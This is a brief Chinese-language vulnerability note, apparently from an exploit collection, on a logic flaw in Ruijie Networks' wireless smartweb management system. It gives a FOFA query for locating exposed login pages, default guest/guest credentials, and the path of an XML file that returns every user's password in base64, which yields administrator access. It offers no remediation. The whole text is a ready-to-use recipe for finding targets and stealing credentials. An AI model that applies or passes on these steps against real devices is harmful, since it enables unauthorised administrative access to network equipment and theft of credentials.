锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。
FOFA:
title="无线smartWeb--登录页面"
默认guest账户密码：guest/guest
登录后访问：http://target/web/xml/webuser-auth.xml
http://target/web/xml/webuser-auth.xml
获取所有用户账号密码，base64解码即可。
ref：